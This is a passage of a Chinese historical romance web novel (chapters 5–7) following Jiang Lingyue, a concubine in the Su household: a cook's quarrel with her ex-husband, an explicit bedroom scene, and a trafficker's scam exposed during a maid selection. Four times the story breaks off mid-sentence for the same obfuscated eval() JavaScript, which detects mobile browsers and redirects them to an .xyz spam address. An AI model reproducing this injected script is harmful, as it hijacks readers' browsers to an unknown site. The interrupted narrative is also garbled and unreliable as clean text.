吴霭云转头吩咐江令月道：“月娘，待会你拿了伞快些走，追上千户，把这匣子交给他。”若是没追上，再派家仆去千户府，难免教人觉得不懂事。 苏家原先遣散了一批仆人，目今留在梧桐苑的俱是上了年纪的，再者江令月也明白夏叔懋是块金疙瘩，所以当即领了命。 接过匣子时，江令月的手沉了沉，边想着这重量不像是单放了个瓷盒，边出了门。 虽有油纸伞斜顶在前面挡雨，但雨势磅礴，江令月匆匆躲入游廊，廊檐垂下数串珠帘，如同密网将其笼罩，夹杂着恼人的风，水汽轻而易举地往她面上扑，很快，她便觉浑身都是潮意。 她是喜欢赏雨，但也仅止于观赏。 天光倒是随着降雨，有了明朗的迹象，她一面防着伞面上的雨水撒到衣裙，一面目光往前梭巡，终于捕捉到了苏梅章与夏叔懋的身影。 承安并不在他们旁侧，应是去取雨具，两人立于亭下，皆面朝芙蓉池，彼此却不说话，显得有些冷淡。 这也与她没什么干系，江令月心想，还是从速把老太太交代的事情办妥。 在快接近时，她放慢步子，平稳呼吸，见身上无不妥之处，才向夏叔懋施了礼：“大人，老太太吩咐奴婢将紫云膏给您送来。” 当真是意外之喜！夏叔懋直想好好感激这老天，本以为要抱着惋惜离去，及时雨便落了下来。 他又借着身量，瞧见江令月的乌发微湿，皓面沾染了水雾，不显狼狈，反倒如出水芙蓉，清丽脱俗，思绪一瞬出离了几息。 碍于在场还有第三人，他很快扯回神，犹暗想，她必是念着自己才不顾风雨赶了来，心头热了再热，像那滚在黄豆面上的圆子，双手都伸了出去，只为接块木头，还一个不小心，碰到了她的纤指。 虽然只蹭到了指甲，但江令月还是被烫了下，顿感不安，见他托稳了木匣，迅疾缩回了手。 她平日几乎接触不到外男，却在昨今两天内，近距离接触了夏叔懋好几回。他又是与相公完全不同的男子，血气方刚，朝气蓬勃，眼眸像黑亮的曜石，江令月自觉对上他会生怯是必然的。 她忍不住看了苏梅章一眼，见他似是完全没有察觉，面色平静，心底分不明是失望，还是庆幸，占得更多几分。 夏叔懋悄悄捻了指腹，自觉冒失，于是背过一只手，挺直腰板，清了清嗓，才朝身前的女子道：“还劳你替我向老太太道声谢。” 江令月递出匣子后，不敢再看他，当然也不知道他一番作态，面上只垂了眼，恭敬回道：“奴婢会转告的。”心下却想着尽快离了这地。 恰在此时，承安带着几把伞并三五个小厮回了来，补全伺候的人数， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791883|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又得了苏梅章的令，江令月才如蒙大赦般告了退。 * 苏家游廊依势而建，随形而弯，行至其中，有石径花台，有飞虹卧波，亦有画栋雕梁，移步换景，美不胜收，更兼曲长缭绕，互通园中各处。 江令月路上遇到个小丫鬟，用荷包里的饴糖哄她去梧桐苑跑了一趟，故而眼下走了另一条廊道，正拾阶而上。 她在苏家并不多言，尤喜独处的时刻，会将听见的话、遇见的事，忖量个三五遍才算。 现时她的脑中便又浮现出适才的一幕，细节被她不断放大：先是夏叔懋热切的话语与苏梅章平静的目光，再是各自身上的黑与白，最后惟余带有茧子的指头与透着青白的侧脸。 她如雾里看花，水中望月，心神一片不宁，似乎有什么被她忽略了。 江令月未注意脚下，猝尔一个踉跄，腰间系挂的香囊紧接着一松，顺着阶道一路滚了下去，她焦急去追，只见香囊坠着的玉环终是在半路碎了。 她挪步蹲身，小心翼翼地拾取碎片。 玉环乃苏梅章所赠，江令月视为定情之物，如今却裂成两半，心下惊惶，既怪自己挂绳系得不牢，又怕苏梅章发现，半晌才想起去寻剩下的香囊，最后在廊道尽头看到了它。 江令月离得近了，才发现此处连结着苏家一间角门，又瞧见有一人影晃动，正与门外的一男子争吵，那夹枪带棒的声音就势钻入她的耳中—— “发热了，你不去医馆，跑来找我做什么？！” “没钱？你不是最会耍混吗？如今死乞白赖地求帖药也做不到了吗？” “别叫我，你爹都不管你，我有什么办法？你放心好了，你爹这辈子都不会有人瞧得上，你就是他唯一的种，他不会真让你厥死过去的！” 江令月只想这是旁人的家务事，不想撞破，可是香囊就在那叉腰妇人脚后几寸，即使她放轻手脚，拿起就走，也难保不会惊动了他们。 正犹豫间，妇人愈加激动起来，举着的伞面斜了一头，江令月便直直地与门外的孩童对上了眼，互相都不曾设防。但显然孩童更沉不住气，只见他本来虚弱地倚躺在男子的怀中，悄悄地眯出一条眼缝，遽然惊乍地睁圆双眼，瞬间破了装病的作态。 妇人见状，猜到了是怎么一回事，半分情面也不留了，把住门就要关上，男子见她竟然给脸不要脸，索性也撕破脸，恶声恶气威胁道：“你今日要是不拿钱出来，我就带着江胜去你主家大门前闹，说你跟着野男人跑了，抛家弃子！到时候看苏家的老爷容不容得下你！” “呸！当老娘怕你不成？江贵你只管去闹，闹得越大越好，到时候我不过赔点钱就能走，而你损了苏家的颜面，仔细吃不了兜着走！” 妇人发了火，先是转着伞面甩了他一脸水，洗洗他的脏嘴，再支起伞杆狠狠地戳过去，直把他顶得后退几步，猛地抽痛，趁此关头飞快地关了门，落了栓，扭头就走，一气呵成，任由身后的拍门声砰砰响得能穿透雨势。 结果正与来不及躲避的江令月撞个正着！ 5. 第五章 江贵气得眼红，犹觉用手不够，还想动上脚，正嫌江胜身重，肚子就先被踹了下，怀中一轻，江胜泥鳅似地滑下来。 他抹了抹脸上的雨水，抱怨道：“爹，你这破伞什么都挡不住，我都快冻死了！别白费功夫了，娘因为你，把我都讨厌上了！” “臭小子！还敢怪你老子？上梁不正下梁歪，你也不是什么好东西！”江贵抬腿就往江胜的屁股踹了一脚，“别给老子生病，没钱给你治！要病也得等那死婆娘给钱才能病！” 江胜揉了揉后臀，撇着嘴嘟囔：“我要是病死，爹你就得无后了。” “说什么呢？！” “我说我生病不要紧，爹要是病了，那就完了！” …… 两人一路互相呛声跑了回去，进了一户老翁家。 此处自只有一个老翁住着，还是半瞎，腿脚也不便，平日就靠邻里街坊照顾，把家中有损的木具给他补修，以此赚点生计，江贵半月前带着儿子来了临州，硬是认他做了义父，便大摇大摆住了进来。 旁人到底是外人，只听江贵父子自称是老翁的族亲，也不想多惹是非，又见早晚也有生火，想来不至于饿了老翁的肚子，还能帮他干点活，再来各户没丢东西，于是也无人置喙他们起初的无赖行径。 江贵半路就把破伞扔了，此刻浑身湿透，风一吹冻个哆嗦，朝着老翁嚷嚷道：“走走走，别在这挡着！你又没淋雨，烤什么火！” 老翁不敢招惹他，撑着膝盖，颤晃晃起来让开位置。 江贵看他动作慢吞吞，到底念着怕把人推倒得反过来讹自己，耐着气性，等老翁走出两三步，才一下坐在矮木椅上，咯吱作响。 江胜跟着凑过来，蹲在地上烤火。 江贵见状，用力拍了下他脑瓜，然后指着骂：“死婆娘差点就要被说动了，都赖你坏了事！”要不是手头上没钱了，他才不想讨到前妻面前，生个小子来只有张嘴，没点屁用！ “好痛！”江胜捂着头，不服道，“是娘身后冷不丁冒出个人来，我被吓着了！” “能有谁？臭小子敢骗你老子？！”江贵作势扬起手。 江胜吼道：“是个女人！穿的衣服比娘身上的还好！”他知道这么说，爹肯定会住手的。 果不其然，听到这话的江贵收了手。当时他只顾着吵架，竟没注意到这回事！死婆娘这是仗着背后有贵人就攥着钱不放！ 江贵赶忙问道：“你看清楚她长什么样没？”如果是个有头有脸的，就算姿色丑得只余三分，也能被珠翠罗绮衬得有五分，总是不差钱的。 江胜没多想：“长得好看，很好看。”脸白白的，嘴像糖葫芦里的山楂那么红。 那就没错了！ 江贵当即拍板道：“我们不找你娘要钱了，就找这贵人讨！”日后就在苏家大门前蹲守着，不信盯不到人来。 * 妇人不知江令月是几时来的、又听了多少，却不能露了怯，反显得心虚，只片刻收拾好表情，唤了声：“姑娘。” 江令月认出她来，是一年前才来苏家的赵娘子，在厨房做活。她还吃过赵娘子做的山粉圆，有儿时的味道。 “你半边身子都湿了，快些进来。”江令月见赵娘子撇了伞，又淋了雨，赶紧让了道，先去拾起湿漉漉的香囊。 赵浣溪稍诧，她来苏家年份不久，一直闷头在厨房做工，虽听说过这位深受相公喜爱的姑娘玉人似的，脾性又好，但到底没见过，心底是存疑的，今日一见，倒信了个七八分。 “姑娘可有什么想问我的？”她试探地问道。 许是同为女子的共情，虽不明悉事情的来龙去脉，但江令月仅看门外男子讨钱的架势，就自然而然地把过错全归因到他身上了，因此也决定不会将方才所见传扬出去。 她抬了抬手说：“我只是过来捡身上挂着的香囊罢了。”闭口不提其他。 这是要替她隐瞒自己见到的闹剧了！ 虽然赵浣溪嘴上嚷着不怕江贵闹事，但当初她是借丈夫早亡，乡下还有一子抚养，才博得同情谋下差事，要是把实情传开了，还不知会有怎样的麻烦。 赵浣溪性子最是直爽，此刻却有些无措。她往汗巾上擦了擦手，想说些什么，又怕一个口无遮拦，吓到这么个斯斯文文的姑娘。 江令月倒自在许多，瞧日头一时难停雨，便主动开口道：“我送你回去罢，这伞大，撑得下两人。” 赵浣溪跟着看了看天，也觉不能逞强冒雨回去，当即放下那点矫情，与江令月同撑了一路回去。 到了月前苏梅章专门划给她的独间小厨房里，赵浣溪如鱼得水般精神起来，立马招呼江令月道：“委屈姑娘坐坐，我待会就煮碗姜汤给姑娘驱驱湿气。” 说完，生好火又拉了帘子，去换掉黏湿的衣物。 江令月环视四周，地面、灶台、墙边都被擦扫得干干净净，身下的核桃木长凳也没有油渍，可见赵娘子手脚勤快。 她从裙底探出绣鞋，靠近烧得旺红的火堆，只觉暖暖的。 不一会儿，赵浣溪整理好仪容回来，但见她上穿浅驼色交襟衫，索攀脖，下着檀色裆裤，系靛蓝围裙，一身利落。 她拎出一根肉条，七肥三痩，约二指长，腆笑道：“我给姑娘加点肉沫可好？只取那瘦的。” 江令月甘愿替她保密，她承这个情，自然想露一把自己的手艺，好回报一二，只是姑娘生就一副不食五谷的模样，教她还有些忐忑接受不了荤腥。 江令月却觉少了滋味：“嫂子可以掺点白的吗？我觉得会更鲜。” 赵浣溪眼睛一亮，惊喜道：“可以，可以！” 她生得膀大腰圆，剁起肉来也虎虎生威，江令月非但没有被吓退，反倒觉得心安。咕噜的滚水、噼啪的柴火、咚咚的砧板，不过是最寻常的劳作，她却从中体会到了一丝烟火气。 外面大雨滂沱，屋内宁静平和，当两碗葱姜肉沫汤分别被捧着饮下肚时，冉冉热气如同无形的牵引，倏地拉近了彼此的距离。 适间与赵浣溪拉扯的男子是她的前夫，男童是她的儿子。 当初老爹去世，家里只剩下她一个，她便接过摊子当了屠肉娘子，可惜家乡是沿海小镇，贼寇屡次骚扰，为生计只得背井离乡； 在康州她遇到了江贵，彼时各州不算太平，他手里无钱，她也想找个男子撑门面，因此一拍即合，以江贵入赘缔结了婚姻； 婚后和美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791884|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一段日子，她重操旧业，赚钱养家，只是后来江贵溺于赌博，孩子也被带得歪了性子，于是在某次双方吵得差点动手后，她棒打不回头，直接收拾包袱走了。 江令月头一回听到这种经历，即使是被斥责蔑伦悖理的才子佳人共私奔的故事，也不会似赵娘子所讲述这般，只由女子一人，在紧要关头，决定了来日的去向。 她就像蓦地踩入荒漠里凉沁沁的溪流，一边喟叹，一边好奇它的源头在哪里。 见江令月惊诧得说不出话来，赵浣溪笑了笑，又喝了一大口热汤。 她知道自己离经叛道，可她人世间最在乎的最后一个亲人，也惟愿她过得快活就好，那么她做自己的主，再顺理成章不过。 “娘子自己过活，不觉得苦吗？”江令月终于找回了自己的声音，像是飞蓬，轻飘飘的，却闷头儿寻着地落下。 赵浣溪不藏私道：“日子确实不全然好过，起先是不得不操心许多事情，再后来是习惯了，如今也觉出好来，每天都很充实、有烟火气。而且忙起来的时候，我好像能从自己身上看到爹娘忙碌的身影，要知道我从前可是个懒丫头哩！” 不论是她带着乡音的江南话，还是上下比划的手势，江令月都觉得有一股劲，将所有连结成了眼前这个亲切又鲜活的赵娘子。 她喜欢她，心底像汩汩的清泉，冒出了一丝向往。 随即江令月想到赵娘子与苏家签的是赁契，大约是不舍得她走，禁不住问道：“嫂子是不是会在赁期满了之后就离开苏家？” 赵浣溪点头：“我还年轻，多去些地方做工，也能多见些世面。”爹娘的骨灰她都带着。 江令月想，自己骨子里可能也是离经叛道的。 她并不觉得赵娘子是该被谴责的，谴责她不守妇道或者枉为人母。 她只感到羡慕。 她羡慕赵娘子能够背上包袱，说走就走，见不同的风景，尝不同的美食。 苏梅章当然对她很好，这种好可以说是四时八节都有珠翠罗绮、玉盘珍馐，也可以说是身边总有人为她的衣食住行代劳。 只是她愈加不能对现有的一切享受得心安理得。 她也不敢把目光放得更远些，哪怕只是眺望宅院外的高树。偶尔她想把鹦哥的脚链打开，让它快活一会儿，最后还是作罢，因为钥匙不在她手上。 要是赵娘子能替她走遍，曾经她从书上看到过的地方就好了。 江令月啜了口姜汤，斟酌道：“娘子若是想打发走……我可以帮忙。”前夫和孩子一定不能成为对方前行的障碍，她还攒了点月钱，应该可以帮得上忙。 “其实我下月就要去千户府上做事了。当时我就想，做官的人家气派，我也没去过，何况只需要我做沔州菜，月钱还能再涨，于是马上就应承了。”赵浣溪心口一暖，但还是婉拒了。 她能体会到江令月对她的善意，而且进了这庖厨，江令月从始至终都没露出嫌弃和不满。 她是个好姑娘，可惜被困在了苏家。 赵浣溪想了想，放下瓷碗，坐近了一个身子，迎上江令月略感失望的目光，认真道：“姑娘，永远不要嫌钱多，你要把它们好好攒着，将来留给自己花。” 6. 第六章 骤雨将歇，窗外的芭蕉叶被檐下雨点得低了头。 巧珠打了热水来，今日她告了半天假，回来就见姑娘坐在鼓凳上，一副凝思失神的模样，半边衣袖还湿得能滴出水。 她赶紧叫醒江令月：“姑娘，姑娘！先去换身衣服罢。” 江令月抽回几分心神，朝巧珠笑了笑，走到屏风后，又不免想到赵娘子对她推心置腹说的一番话—— “虽然我只来了苏家一年，但该知道的也都知道个七七八八了。反正也快去别的地了，有些话我倒是想对姑娘说。 苏家如今生意是蒸蒸日上，可满打满算，苏家起家至今才两代，临州其他富商大贾早盘亘此地数百年，日后恐怕强龙不压地头蛇。 也不是我喜欢危言耸听，只是我有未雨绸缪的习惯，姑娘你此时存点钱，将来有用的话，它是个保命符，没用的话，也是个护身符。” 江令月此前出生并成长于小官之家，对商人的“孝敬礼”并不陌生，这不成文的规矩已然奉行百年，苏家自然不会例外； 但是一张饼只有那么大，原来吃上的人不松口，那么摆在后起之秀面前的不过两个选择：妥协，即依附旧有豪富；不妥协，则另起势抗衡。 选择后者成败难料，所以江令月并不认为赵娘子说得毫无道理。 她知道苏梅章并不愿屈居人下，只是想不明白他用了什么办法，能在一众有力竞争者中独得青睐——论地缘，夏叔懋出身东南，与祖籍在西南的苏梅章并不相同； 她无法预料数十年后的情形，但她只怕再经历一次挫折，苏梅章会一蹶不振，更何况夏叔懋前途无量，将来苏梅章未必不会作茧自缚。 苏梅章甫一跨入里间，未见人影，便听水声淅沥，循声而往，但见屏风上挂着一件素绢衫儿，隐隐透出底下的蜜合色百迭裙，地上一双软缎绣鞋，绣的是胭脂梅，连着薄袜，挨靠在一起。 他眸色一深，正与端盆出来的巧珠对上，巧珠开口唤了声“相公”，刚想提醒一句，旋即反应过来什么，红着脸颊，蹜蹜而去。 这一声同样惊到了江令月，虽然彼此早就坦诚，但日头未深，又有巧珠在前，她只想赶紧穿上衣物，不料背后探出一双修长的手，将她揽入怀中。 苏梅章的身上有股杜蘅香，此刻如同温暖的水流包裹住了江令月的鼻腔和全身，顷刻间便令她放松下来，轻轻朝后依偎而去。 她垂首看到了苏梅章的衣袖，约莫也是换洗过的，只见他的手像条灵活的蛇，拨开阻碍，倏地钻入，往深处探索，她不禁软了身，半咬着下唇，彻底倚靠在男子的胸膛上。 胸前骤然一凉，细碎的吻从耳边一直落到肩颈，又至背胛，江令月松开贝齿，喘息不止。 屏风隐约透出的人影几乎重合，其中那道清隽高挑的身影，缓缓下滑，如同逡巡领地的无足生物，黏腻地在起伏的山体上留下涎液，及至一处，蜿蜒徘徊片刻，迅猛吞入口腔。 江令月无法自抑地弓起身，仰头哼声，她的手亦绕过苏梅章的颈后，虚虚交搭在一起。 苏梅章口中一顿，抬起身，握住她。方才女子发出的情动像雀鸟嘤鸣，娇细柔腻，他私心想听到更多，于是边带着她的纤指往里没入，边低声诱哄。 恍若蚌壳吐缝，继而被看似无害却暗中藏力的触足，强硬地撕开了一条可容纳两指的口子。 拘束也随之卸下，攀上高峰。 …… 两人收拾妥当后，已兔起乌沉。 苏梅章见江令月腰间空了一物，问道：“你原先挂着的那只香囊呢？” 他自不是有多在意女子平日打扮的细节，只是他忽然想起，这香囊与他前日被取下的那只原是一对，若今日两人都佩戴好，想必他就能从夏叔懋的脸上见到颇为精彩的神情…… 苏梅章转了转手上的扳指，唇角微绷，不明自己这促狭的臆测从何而来，或许是他心急了。 当然，如果真教夏叔懋撞见，也不是坏事。 江令月闻言，虽事先想好了搪塞的话，但真要说出口时，又不可避免地慌张起来，她双颊微热，理了下措辞才道：“奴想着，既然相公身上的荷包要换了，不如连同奴身上这个都重新绣个新的。” “好。”苏梅章只看她一副含羞半敛眉的模样，心中明晓，便不再多问。 见此事翻了过去，江令月暗自松了口气，想着得赶快在新香囊绣出之前，找到法子黏合好玉环。 苏梅章拉过江令月一同坐下，静等下人摆齐晚膳，对上女子的粉腮黛眉，不免想到在人伢子那儿初见她的情景——一朝沦为脚下泥，骨子里还如此傲，直直挺着背，脸清泠泠，瘦得比巴掌还小，谁来都不笑、不说话，他有意出个比鸨母高一倍的价，教人伢子急得偷偷掐她肉，疼得眼泪打转也不吭声。 当时他就知道，对这小妮子不能使强硬手段，而是以情徐徐软化，才能为己所用。 今日再看，果然如是。 俄顷，肴馔齐整列好。荤的有蒸通印子鱼，鸡子肉圆子，油爆河虾，糟鹅胗掌，素的有清炒蒜苔，盐汆菠菜，并几碟腌冬菜，就碗红莲香稻，佐杯茉莉酒，有滋有味。 大鱼大肉吃腻了，今晚从简，苏梅章没留人，只各自动箸用膳。 江令月习惯先给他夹了几筷，被苏梅章制止，挑了最滑嫩的鱼肚子肉放到瓷碗中，接着她也顾不上挟菜了，一顿下来竟吃了个七八分饱。 她不爱酒，只小口抿着蜜饯金橙子泡茶消食，茉莉酒则全下了苏梅章的肚。 可谓酒足饭饱，苏梅章提起了正事：“我着意买几个年轻丫头去伺候老太太。” 眼看苏母岁数上去了，但梧桐苑依旧冷清，怕她闷坏，也怕她没得到妥善的照料，这回不管老太太怎么反对，他都不改主意了。 江令月察出苏梅章是下定决心，也觉苏母身边缺个可心儿的，但照往常，这等内务轮不到她帮忙，只说：“老太太心疼相公的银子，推了几回，但孝心难阻，应该会收下的。” “过些日子人伢子会上门来，到时你帮着老太太挑。”苏梅章眉眼含笑道，“不知月娘可答应？” 江令月面上微讶，心底却一连绽了几串烟花，她道：“蒙相公信任。不知相公对丫头的性子或者拿手的技艺有要求吗？” 苏梅章略一思忖，说：“细心是必须，性子活泼些也无妨，只要她粗中有细，晓得自己的本分就好；其他的留给老太太决定罢。” “奴记住了。”江令月模样很是认真。 苏梅章见她娥眉轻蹙，双瞳明亮，俨然把这当成一份正经差事，到底是头一回瞧见她兴致盎然，满目灵秀的样子，旁的也不多说了。 “今夜我便休在此了。” 江令月愣了愣，眉眼倏然软和下来：“相公上回留的里衣，奴给收拢了起来，这会儿就去拿出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791885|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她站起身要走，冷不丁被他点了点腰窝，差点融作一汪春水。 还是苏梅章扶住了她，笑道：“月娘还受得住？” 桌上花卉层层迭迭，罗衣轻解，覆添新色。扪弄处，绵雨膏，点点红梅。忽倾杯盏，丝丝水液成帘，牡丹自开别有香。 * 几场微雨过，小荷翻，榴花开欲燃，如此便入了初夏。 赵娘子已去了新府，临走前做了一桌沔州菜，邀了江令月来，让她尝尝家乡味道，也算是两人相识一场的告别。 待江令月收拾好心情，人伢子便上门了。 是个约四十来岁的婆子，着件毛青布窄袖衫儿，发髻斜插三根银簪，脸上收拾得干净，只眯着眼笑时才露出点精光。 她带着十几个人，从八岁到十四岁的都有，样貌大多端正，其中有几个比较出挑，瞧着应是不怎么磋磨过。 江令月头一回得苏梅章嘱托，心里十分重视。她不仅希冀能借此展现自己的能力，好给日后争取到更多理事的机会，也想一改以往只会绣花种草的形象，显得不那么无用。 将丫头们分为五人一组，站了近四排，江令月先是看她们的形体，站无驼背耸肩，行无左右摇晃。这一项所有人都没问题。 接下来是要看牙口。巧珠昨夜与她说，根据牙齿的磨损，能够判断出大致年龄和身体状况。 虽然做上苏家生意的人伢子几乎不敢耍滑，就怕砸了招牌，但该检查的最好都不要落下，防的就是那个万一。 此外，还得观牙的色泽、齐整，瑕疵不能太明显。即使老太太瞧不着，放到她跟前伺候的丫鬟也是代表着苏家的脸面。 江令月偏了偏身，但见院门聚了不少仆役，其中单手叉腰，头系青布巾，戴荷叶金耳坠，背对着她的是后院二管事，申妈妈。 申妈妈头上的大管事是常妈妈，但常妈妈只守着库房钥匙，其余管理则由她来，今个挑选丫头的差事，若不是苏梅章吩咐，肯定是要落在她身上的。 “都安静些，不然全回去给我干三倍的活。”申妈妈警醒道，却也没真的把人赶走。 现下日上三竿，离着午间也不远，宅邸内没留贵客住下，大家手头上的活儿都干得差不多，听说有新人来，半是凑个热闹，半是显着自己威风，你推我搡的过来了。 她转过身，捋了捋手上的金钏子，多少也有几分看好戏的架势，暗想这位娇养的娘子，非要来逞能，别待会还要她出马搞定。 江令月并不会看牙的磨损，叫了巧珠来，登时听到人群中泄了几道笑声。 “平时都夸姑娘人好，今日一个个的，生怕姑娘不出丑！”巧珠小声愤懑道。 对于围看的眼光和议论，江令月倒没有多在意，她确实没有老辣的本事，也就不去纠结，专注当下为上，但是见巧珠气鼓鼓替她不平，心下一暖，捏了捏她的手腕，笑道：“那要麻烦巧珠替我好好检查了。” “哎呦，姑娘放心，我银婆子去过多少达官显贵府上，每每带去的丫头都令东家满意得很！”银婆子凑上去，不忘自夸一番，却见江令月神色淡淡，不由忐忑了下。 因经历过诱拐，江令月实在难待人伢子热络，只与巧珠查看起来。 才来到第一个丫头面前，还没等她张口，便见人扑通跪下，声泪俱下道：“求姑娘救我！” 申妈妈立即挺起腰，心道：来事了。 7. 第七章 此时露了事，也比后头成交了才发现吃亏了强。江令月心态还算稳。 但银婆子像一点就燃的炮仗瞪圆了眼，拽着这丫头的胳膊往上提：“作什么？！我一没短你吃喝，二没挖你心肝，定是你这黑心肠的看我横竖不对，以为跑到贵人面前参我一本，贵人就会听信了你么？” 江令月蹙了蹙眉，不接她的话，只另去扶住丫头，柔声道：“你唤什么？有什么事你且说来。” 银婆子见好一番急白，又是捧，又是贬的，却讨了个没脸，有些讪讪。 “奴家叫苦荞，是阳州那边来的。”苦荞站稳了身子，抹了眼泪道，“上月阳州遭了水灾，多是吃不上饭、开不了工的人家，奴家还有三个兄妹，虽有存粮，但禁不住几张嘴只进不出，这时银婆子来了，哄着爹娘卖了奴家。 若是得来的口粮能教家里人撑过灾祸，奴家自是甘愿卖身，但后来又遇到了同村被卖的姐妹，才知爹娘在奴家走后一天，就饿得卧床不起，三个兄妹也只剩大的还在！这分明是银婆子空手套人，害了我们全家！” 周围听了她的故事，都不由同情起来，纷纷朝那恶人银婆子看去。 只见银婆子好厚的脸皮，非但没臊脸，还想打苦荞的嘴，若不是巧珠挡在她跟前，啐都要啐到苦荞脸上，她看动弹不了对方，也耷拉着皮，转头朝江令月喊着冤：“姑娘明鉴，真是好没道理！她也说全家除了她，还有五张口要吃饭，我是做小本买卖的，不是做慈善的，她家就卖她一个，我怎么给多？ 况且这丫头手脚差得很，活也干不利索，早先城南卖珠宝的朱相公，给他老娘买了伺候去，三天两头摔碗砸盆的，又退了回来！我赔笑搭钱的，才让他们消了气！ 我还没找她算账，念着她家里艰难，便想再给次机会，让她能去做活，寄点钱回去，不想劈头把我一顿臭骂！真是没天理了啊！” “哪里是奴家手脚差，分明是你总借着调教的名头，拿细竹条打我！”苦荞当即还嘴，拉了一点衣袖，赫然数条淤痕乌青发紫地叠在软肉上。 “了不得，这丫头是个有胆气的，敢和人伢子斗个有来有回的！” “都被欺负成这样了，再不说点什么，真被卖了还替贼婆子数钱！” “啧，这银婆子真不怕砸了招牌？” 这来看戏的奴仆一眼瞧过去还不少，但细细看下去，原来不过是七八个婆子，她们面上敬着申妈妈，但论资历也不差到哪去，此刻你一嘴我一嘴的，生撑出十几人的架势。 申妈妈假咳几声，那喁喁私语才又小了些。 她当职的位置不低，又浸润后宅、人情多年，家里那个还是前院的管事，于眼前这幕，也琢磨出一点味来——苦荞只听了同村姐妹的话，便把锅扣在银婆子头上，而银婆子看似解释，却也认了给的粮少，几个来回便把自己的形象坐实。 她可听过有那狼心狗肺的烂货，唆使贱奴，专去讨深宅大户里年轻娘子的同情，将得来的银钱再尽数吞了，做的还是“短期生意”，也许到了下月，就改头换面去了别处，滑不溜秋得教人抓不着。 想来那银婆子也是来碰运气，结果见着姑娘，一张玉面菩萨似的，就起了心思。但这婆子是她找来的…… 申妈妈自觉有些难办，犹豫了会儿，还是不打算上前提醒。 苦荞膝盖一软，对着江令月求情道：“姑娘心善，奴家自知今日闹了这通不甚光彩，只求舍点路费，教奴家回了阳州，若是侥幸，好歹能见上爹娘的最后一面。” 及时止住女子下跪举动的江令月，本来恻隐之心已动，但见苦荞被握到手肘的瞬间，并没有反应，即刻警醒过来，她只做不知，牵起苦荞的手，心疼道：“旁的先不说，我带你去上个药罢。” 江令月借着这个细微的关头，粗略扫了扫女子的手：骨节小，皱纹少，也不知是否天生，肤色整体是暗黄，却有块蛋卵大小的很是皙白。 说不出是哪里怪，但她凭直觉认定其中有诈。 上什么药？！ 银婆子作势要来阻挠：“姑娘别对她恁好！小心生出心思，就势让你把她留了下来！” 江令月有心让她们再吵几句，瞧瞧能否听出马脚，老太太来了。 院门外的婆子们极会来事，不知从哪寻了张紫檀木嵌珐琅扶手椅，铺上绸垫，让老太太坐下，七嘴八舌地把事情交代了。 她们都是苏家的老人，也有吴霭云的纵容，江令月插不进话，好在也没添油加醋。 “月娘觉得，该不该帮？”吴霭云听罢，问了江令月一句。 起了疑心的江令月只说：“我观苦荞手上的伤，似乎有不同之处。” 吴霭云镇日不出梧桐苑，也不理琐事，难得露次面，不想闹个相左的意见，于是江令月避开了二选一的抉择，留着余地让老太太主持大局，同时也解释了自己的偏向，不教她受了蒙骗。 “这话怎么说？”吴霭云盘着佛珠，不慌不忙道。 苦荞左右握了握手，压下眼底的惊疑，抬头觑了眼吴霭云，刚想再跪一次，丫头中突然冒了个新脸庞来。 那丫头约莫十三四岁，身上的绿衫洗得发灰，脆生生道：“儿田小莲，给老太太请安！儿要举告银婆子和苦荞的勾当！” “我今天遭的什么劫？！一个两个都恨惨了我！”银婆子一屁股坐在地上，先发制人哭了起来。 左右的妈妈们人精似，见状也唉哟起来。 说来也奇，人自己没皮没脸时，只要见到别人学自个儿，渐渐就会害臊了，那银婆子目下咧着嘴，声儿全卡在喉间，像吃了黄连，有苦说不出。 再有那苦荞，被堵在人墙外，怎么也找不到缝钻进去，好替自己辩解。 田小莲只盯着吴霭云，得了首肯后，一五一十把话吐个清楚：原来苦荞是银婆子的侄孙女，两人作戏哄骗心软的娘子掏金银，得手过几回，行事便大胆起来，今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791886|158143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次还带了布袋在身上，因听说临州城内的大户们会额外赏顿饭，想着能捞点东西回去。 